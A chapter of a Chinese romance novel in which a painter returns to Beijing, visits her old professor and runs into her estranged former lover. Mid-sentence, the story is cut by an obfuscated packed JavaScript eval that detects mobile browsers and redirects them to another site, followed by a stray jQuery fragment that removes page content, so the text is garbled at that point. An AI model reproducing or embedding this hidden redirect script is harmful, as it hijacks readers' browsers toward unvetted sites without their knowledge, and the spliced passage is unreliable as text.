航班落地首都机场，刚过十点一刻。
舱门对接的瞬间，首都的冬夜便顺着廊桥缝隙钻进来，连吸进肺里的空气是缩着的，干燥、冷硬。
阔别五年，这座城市一点也没改变。
夏雾越过窗玻璃望出去，天色漆黑、不见星月。
停机坪上的那几盏高压钠灯像是被冻僵了似的，惨黄光晕直落落地砸在水泥地上。
手机在口袋里震动时，夏雾刚把行李箱从转盘上掼下来。
屏幕上“温舜”两个字跳动着。
盯着那串名字，她没来由地觉得腕骨发沉。
滑开接听，拉着箱子往外走。
“拿到行李没？”
“刚拿到，正往出口走。”
“首都零下了，记得把围巾裹好，”温舜的声音在嘈杂的背景音里传来，“明枝到了吗？你住她那儿，记得要个加湿器。润喉糖在箱子外侧的网兜里，干了就含一颗。”
这种事无巨细的叮嘱，从她出门前就开始了。
感应门前，身影重叠在漆黑的玻璃上，虚焦、单薄，那双略显倦意的眼睛里，稍稍漾开一层弧度。
“温舜，加湿器和润喉糖的事，你上午在微信里提过两次了。”
听筒那头骤然一静。
“哎，我瞎操心嘛。”男人笑了声，找补道，“这不是怕你一个人在那边不习惯么。”
其实没必要绕这么生硬的弯子，这通电话的重心根本不是什么加湿器。
她也不想在人潮涌动的接机口，玩这种彼此试探的哑谜。
“明枝的婚礼是私宴。”
夏雾盯着脚下的地砖缝隙，像是在替他完成那个不好宣之于口的填空题，“她和那个人没有交集，那个人的圈子，也收不到这种场合的请柬。”
被戳破了隐秘的查岗心思，温舜的呼吸明显滞了一下。
“我没别的意思……”他干巴巴地找着台阶，“不是要查你……雾雾，我是怕你万一撞见他，心里会膈应。”
“不会撞见的。”
夏雾的声音沉了下去。与其说是在安抚温舜，不如说是在按住自己潜意识里的那根弦。
“北京这么大。只要不想见，一辈子都不会见。”
自动门向两侧滑开。接机口的喧嚣像潮水一样涌了过来。
越过攒动的人头，夏雾视线微顿，一眼便捕捉到了栏杆外那抹明亮的焦糖色。
“我看到明枝了。”她没给对方再续话头的余地，“先挂了。”
“夏夏——！！！”
明枝趴在栏杆上拼命招手，怀里抱着竹编花篮。
在那片被黑白灰承包了的接机大厅里，那只花篮像一座春天——
篮心是两朵橙粉的大丽花，重瓣累叠；一支白马蹄莲斜出，撑起了花篮骨架。
往深处看，淡紫铁线莲半掩着两团绿绣球。
雪柳细碎地从篮缘垂落，几乎要勾住紫郁金香的脖颈。
杂花缝隙里，两颗朱红毛球点缀其间，像是在大片浓郁油彩里落了几笔朱砂。
还没等站稳，大衣上沾的冷气便被这股热烈冲撞的花香吞没了。
她的好朋友，带着春天来接她了。
棕灰的厚围巾被撞散了半圈，露出一截细白脖颈。
夏雾下巴搁在竹编提手上，呼吸里全是潮湿鲜活的花粉味：“接个机而已，弄得像要上台领奖一样。”
连日来的郁结，总算在花影里闷出点笑意。
“那可不，我们夏大画家回京，排面必须给足。”明枝笑弯了眼，退开半步端详着她，“气色确实好多了，不像上次瘦得风一吹就折。”
拉杆箱被自然地接过去：“走，车在地库。”
两人钻进地库，上了一辆极地蓝的新能源车。
明枝现在在美术馆上班，开这台三十来万的车代步，低调、稳妥，一如她如今安稳透亮的日子。
车驶出地库，并入机场高速。
冷热交替，车窗很快蒙上了一层均匀的水汽。
“冷不冷？”明枝盯着前方路况，“座椅加热我开到二档了，烫背的话跟我说。”
“刚好。”夏雾将手指贴近暖风口汲取热意，“时教授呢？大半夜没陪你来？”
“临出门让我按在家里了。”明枝打了一把方向盘，“咱们姐妹俩接头，带个老男人算怎么回事。走，先带你去吃顿正宗的铜锅涮肉去去寒。”
“以前抢课的时候，一口一个时老师，现在证一领，直接叫老男人了？”
“大我十岁呢，还不老啊？”明枝翻了个娇俏的白眼，嘴角的弧度却怎么都压不住。
车厢里放着舒缓的轻爵士。
夏雾靠进椅背：“小静和阿笙真不来啊？”
“群里发了一天疯，你没看？”明枝抱怨道，“小静在香港盯那个大藏家的私洽，连轴转三天了。阿笙被导师按在实验室里熬那堆扫描数据，死活不给批假。”
“怪我，日子还是定得太赶了。”
夏雾剥下花篮里的一小块枯叶，自嘲地笑了笑，“合着就我一个无业游民呗，随叫随到。”
“你这叫有福气。”
前方红灯，车身平稳刹停。雨刮器“唰”地扫去挡风玻璃上的薄霜。
趁着停车的空当，身侧的人转过头，忽然挑了下眉。
“不过——之前不是讲好了，要把你男朋友牵出来溜溜的么？快结婚啦？舍不得给我过目啦？”
呼吸微不可察地滞了一下。
夏雾慢悠悠转开视线，光秃秃的白杨树在冷雾中静默伫立，像一道道灰白的栅栏。
“他年底公司忙，走不开。”她熟练地把满地鸡毛藏进借口里。
“肯定在糊弄我！”膝盖被脆生生地拍了一记，明枝的声音里带着笑，“等会儿到地方了，看我怎么升堂细审你！”
避开好友探究的目光，她低头咳了几声：“其实我去外面定个酒店也行，时教授在家，我住过去会不会不太方便？”
“去什么酒店。”
红灯转绿，明枝一脚油门跟上前车。
“他明天出差后天回。再说了，我带你去的是我婚前自己买的单身公寓。趁老男人不在，咱俩正好享受最后的单身时光。”
字里行间，是被一段健康的、松弛的关系滋养出来的底气。
侧过头，安静地看着好友的侧脸。
那种由内而外散发的幸福感是骗不了人的，定了几秒，她收回视线，由衷感慨：“挺好的。时教授是个靠谱的人。”
“我也觉得。”
驾驶座上的人笑得眉眼舒展。
车流减速，前车的红色尾灯在冷雾里晕成一团暗红。
“对了，”明枝想起明天的安排，“明天周六，美术馆有个少儿公教活动，我这当负责人的还得去盯半天。你在家补觉，还是想去哪转转？我中午忙完去接你。”
玻璃窗上的水汽凝成水滴，蜿蜒着滑落。
北京的冬天，和五年前一样，灰白、料峭、枯燥。
“不用管我。”
看着窗外模糊的街景，夏雾轻声开口，像是在对着那片灰雾自言自语，“明天，我打算回一趟学校。”
……
翌日上午。首都的风刮了整夜没停，到了白天，仍带着凛冽哨音。
夏雾将脸埋进羊绒围巾里，独自走在母校的林荫道上。道旁没有蔽日的梧桐，白杨树枝直挺挺地刺向灰白天空。
路过食堂外的岔路口。
风声里，仿佛又突兀地响起了那记塑料糖纸被揉开的窸窣声。
“张嘴。”
脑海里，男人低哑的嗓音砸下。
一颗冰凉辛辣的薄荷糖，随着那只骨节分明的手，强行抵上她的唇缝。
夏雾偏头躲开，却被那只手扣住后颈。在人流如织的下课路上，快而重地碰了下她的唇。
“疯了你！”她吓得脸颊发烫，语气有些急，“后面都是人！”
而始作俑者却堂而皇之地将下巴抵在她发顶，胸腔震出一声低笑：“行，都听你的。回去关上门再喂你。”
冰凉的薄荷味随风扬起，将夏雾猛地吹醒。
她深吸了口干冷的空气，强迫自己加快脚步。
再往前走，是学校的中心湖。
湖面结了层冷灰色的厚冰，视线刚触及湖畔那排枯柳，呼吸便不由自主地停了一拍。
他总爱在背光的树影下接吻。
这地方偏，但总有下晚自习的校友结伴经过。
嬉笑声渐渐逼近时，她慌得去推那堵坚硬的胸膛：“有人。”
他顺势退开半步，神色自若地替她理围巾。
两人隔着最正常的社交距离，伪装成欣赏风景的普通学生。
可等脚步声一远，他又会重新将人揽进怀里，咬着耳廓笑得恶劣：“现在没人了。我们继续。”
……心脏仿佛又体会到了当年那种悬在半空、被人生生捏得缺氧的战栗。
不能，不能再想下去了。
夏雾闭了闭眼，将脸埋得更深、步子仓皇。
十分钟后。教研大楼，三楼尽头。
细白指节抬起，在门上轻轻叩了两下。
里面传来周教授的声音，听着带点火气：“进。”
夏雾推门进去。
沙发上窝着个男生。
穿着始祖鸟冲锋衣，拉链敞着，兜帽罩在头上，长腿搭在茶几边缘，半截下巴微扬，正摆出一副左耳进右耳出的挨训架势。
听见门轴转动的动静，男生不耐烦地撩起眼皮，视线斜了过来。
目光撞了个正着。
女人的脸颊被风吹得薄白，眉眼间透着股冷，一派生骨画皮的干净。
男生盯着她，视线滞了两秒。
随后，像被什么东西蛰了一下。那双搭在茶几上的长腿悄无声息地收了回去，手往脑后一抹，扯下兜帽，顺势抓了把凌乱的短发。
脊背挺直，硬凹出几分人模狗样的正经。
办公桌后，周教授从一堆文件里抬起头。
看清来人，眼角的怒纹倏地舒展。他摘下老花镜：“夏雾？你这丫头，还知道回来看我这老头子？”
“周老师。”夏雾反手带上门，浮起一抹淡笑，“好久不见。”
“来得正好。”周教授拿着支红笔，从办公桌后绕出来，笔端点了点沙发上突然坐得笔挺的男生。“活教材来了。今天非得压压你这不知天高地厚的臭脾气。”
夏雾微怔，目光顺着红笔落过去。
男生也正看着她，仗着自己长了副好皮囊，嘴角一勾，大言不惭地朝她露了个笑。
“你看看你学姐，”周教授恨铁不成钢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513365|202291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“人家当年申请巴黎索邦，法语硬考的B2，雅思7.5。专业课哪样不是院里拔尖的？你个半吊子，连个法语字母都认不全，闹什么非要去巴黎？”
“我又不是明天就飞，这不是才大二么。”男生小声回嘴，但碍于有美女学姐在场，语气收敛了不少，“我想申的是HEC的MIM项目，纯英语授课，用不着死磕法语。”
说完，他身子往这边倾了倾，自来熟地掏出手机：“学姐刚去巴黎？读研一？相请不如偶遇，加个微信呗，我正好取取经。”
“你取个屁的经！”
周教授气得直拍大腿，“想念商科，英美澳那么多项目随便你挑！非要去死磕巴黎的高商？真当HEC拿钱就能进？”
“你问问你学姐！人家大二无缝跨考进的索邦！你知道跳过一年的语言预科要脱几层皮吗？”
“你呢？你连个早八课都起不来！”
男生被老教授掀了底牌，面子上有些挂不住，但关键重点却抓得很牢。
脑子过了遍时间线，愣了：“大二就走了？那学姐现在……才大四？”
夏雾微微弯了下唇角，拿出手机扫码。“我已经硕士毕业了。”
男生的眼睛肉眼可见地睁大了些。
他盯着那张找不出半分年龄感的脸，喉结滚了一下。随后，像是在给自己找台阶，他移开视线，小声嘀咕了一句：“……大五岁而已，也没多大。”
“关其北！你到底有没有听我说话！”周教授拍了拍茶几，“你妈等会儿就过来，你趁早把去法国这念想给我断了！”
关其北身子往沙发背上一靠，少爷脾气也上来了。
“我不。”他梗着脖子反驳，“我哥当年不就是临时起意跨考的商科吗？他都能去巴黎，我怎么就不行了？”
周教授被这句顶撞彻底气笑了。他指着关其北的鼻子，脱口而出——
“你哥是沈介！你算老几？你真当自己有他那个脑子？！”
沈介。
这短促的两个音节落下的瞬间，夏雾的血液仿佛在一秒内停止了流动。
沈介……去了巴黎念商科？
他……在巴黎……？
她握着手机眨了眨眼，几秒后，屏幕光无声熄灭。
这不可能，
这怎么可能呢？
他怎么可能也在巴黎呢！
周教授话一出口，余光扫见那张骤然失血的脸，猛地反应过来。
当年院里闹得沸沸扬扬的旧事，他当然心知肚明。
空气凝滞得发沉。
“行了，”周教授干咳了一声，生硬地撇开那个名字，“我不跟你个浑小子扯。等你妈来。”
他转过身，语气干巴巴地找补：“夏雾啊，你先坐。老师去那边拿点好茶叶，给你泡杯热的。”
说着，周教授快步走向角落的饮水机，刻意背过身去翻找茶罐，试图掩盖尴尬。
没了教授盯着，关其北立刻松懈下来。
他丝毫没察觉到身边人的异样，身子凑近了点。
“学姐，”关其北捏着嗓子，满脸好奇，“你在巴黎待了五年，那边的课是不是特别难熬？”
“我听家里说，我哥当年在HEC，一边得顾着国内的盘子，一边还要从头死磕法语，周周中法两头飞，说他熬得都要进化了，那法语真那么难啃啊？”
夏雾迟缓地抬起眼睫，看着眼前这张隐约有着几分熟悉轮廓的脸。
“不知道。”
她强迫自己坐直身子，声音微颤，极力想把眼眶热意甩开，“我平时基本都在五区。HEC的校区在Jouy-en-Josas，那是大郊区了。进城一趟要一小时，圈子不同，遇不上。”
“是欸，我查攻略也说HEC进城挺麻烦的，得挤那个RERC线快铁。”
关其北没听出她话里的紧绷，只当是正常的留学经验交流，撇了撇嘴吐槽道：
“那以后我要是去了，第一件事肯定得先买辆车……”
“叩、叩。”
两声叩门声，打断了男生的话。
周教授正弯着腰拿纸杯，头也没回地应道：“进。关太太是吧——”
门轴转动。
夏雾的呼吸，几乎是凭借着本能，在这一瞬停摆。
视线里，男人穿着件挺括的深黑色羊绒大衣，肩线处还洇着一点没被暖气化开的湿冷。
他没有看室内的另外两人。
那道深沉的视线毫无偏移地，落在了她的脸上。
整整一个月，音讯全无。
这道平静到极点的注视，落在夏雾眼中，比任何情绪的宣泄都要让人喘不过气。
就像是雪崩前那一秒的静。
洁白凛冽、万年不化下，压着万钧重量。仿佛只要发出一丁点声响，顶端平衡便会顷刻崩塌。
向来没眼力见的关其北，也察觉到了不对劲，老老实实地闭上了嘴，拉开了一点距离。
沈介率先收回了视线。
男人迈着长腿往里走，反手带上了门。
“周老师。”他看向端着纸杯、还愣在原地的老教授，微微颔首，“我姑姑临时有个会，走不开。”
随后，目光微侧，扫过沙发上如坐针毡的关其北。
沈介扯了下唇角。
“这小子的事，我替她来谈。”